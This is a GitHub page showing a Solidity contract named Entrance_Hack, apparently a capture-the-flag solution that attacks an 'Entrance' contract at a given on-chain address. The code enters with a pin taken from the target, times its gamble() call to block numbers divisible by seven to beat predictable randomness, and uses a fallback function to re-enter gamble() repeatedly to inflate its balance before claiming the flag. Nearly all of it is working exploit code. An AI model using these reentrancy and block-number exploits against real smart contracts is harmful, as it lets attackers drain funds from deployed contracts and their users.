-
Notifications
You must be signed in to change notification settings - Fork 0
/
Entrance_Hack.sol
35 lines (27 loc) · 1008 Bytes
/
Entrance_Hack.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pragma solidity >=0.4.21;
import "./Entrance.sol"; //Contract at 0x1898Ed72826BEfa2D549004C57F048A95ae0B982
import "./SafeMath.sol"; //https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol
contract Entrance_Hack {
using SafeMath for *;
Entrance entrance;
uint count = 0;
constructor (address a, uint256 pin) public {
entrance = Entrance(a);
entrance.enter(pin); //Pin extracted from contract
}
function attack () public { //Call me to trigger attack
require((block.number).mod(7) == 0); //Reject the function if the block number is not winning
entrance.gamble();
}
function () external {
count++;
if(count < 30) //Increase this number to get more ponits
entrance.gamble();
}
function getBalance () public view returns (uint256 balance) {
return entrance.balanceOf(address(this));
}
function getFlag (string memory _server, string memory _port) public {
entrance.getFlag(_server, _port);
}
}